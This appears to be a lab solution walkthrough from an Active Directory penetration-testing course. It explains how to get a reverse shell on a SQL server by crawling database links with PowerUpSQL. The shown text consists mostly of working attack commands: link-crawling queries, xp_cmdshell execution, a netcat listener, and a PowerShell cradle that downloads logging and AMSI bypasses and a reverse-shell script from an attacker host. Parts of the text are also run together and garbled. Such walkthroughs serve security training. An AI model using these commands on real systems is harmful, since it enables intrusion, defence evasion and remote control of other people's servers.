Solutions
1 - Get a reverse shell on a SQL server in eurocorp forest by abusing database links from dcorp-mssql
Let's start with enumerating SQL servers in the domain and if studentx has privileges to connect to any of them. We can use PowerUpSQL module for that. Run the below command from a PowerShell session started using Invisi-Shell:
C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
Import-Module C:\AD\Tools\PowerUpSQL-master\PowerupSQL.psd1

ActiveSessions : 1So, there is a database link to dcorp-sql1 from dcorp-mssql. Let's enumerate further links from dcorpsql1. This can be done with the help of openquery:

Links :We can also use Get-SQLServerLinkCrawl for crawling the database links automatically:
select * from openquery("DCORP-SQL1",'select * from openquery("DCORP-MGMT",''select * from master..sysservers'')')
Sweet! We have sysadmin on eu-sql server!
If xp_cmdshell is enabled (or RPC out is true - which is set to false in this case), it is possible to execute commands on eu-sql using linked databases. To avoid dealing with a large number of quotes and escapes, we can use the following command:
Get-SQLServerLinkCrawl -Instance dcorp-mssql.dollarcorp.moneycorp.local -Query "exec master..xp_cmdshell 'set username'"

Links :Create Invoke-PowerShellTcpEx.ps1:
Create a copy of Invoke-PowerShellTcp.ps1 and rename it to Invoke-PowerShellTcpEx.ps1.
Open Invoke-PowerShellTcpEx.ps1 in PowerShell ISE (Right click on it and click Edit).
Add "Power -Reverse -IPAddress 172.16.100.X -Port 443" (without quotes) to the end of the file.
Let's try to execute a PowerShell download execute cradle to execute a PowerShell reverse shell on the eu-sql instance, first to it, add sw on HFS and remember to edit Invoke-PowerShellTcpEx changing IP and Port
After that start a listener in a new shell: C:\AD\Tools\netcat-win32-1.12\nc64.exe -lvp 443
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'exec master..xp_cmdshell ''powershell -c "iex (iwr -UseBasicParsing http://172.16.100.67/sbloggingbypass.txt);iex (iwr -UseBasicParsing http://172.16.100.67/amsibypass.txt);iex (iwr -UseBasicParsing http://172.16.100.67/Invoke-PowerShellTcpEx.ps1)"''' -QueryTarget eu-sql45
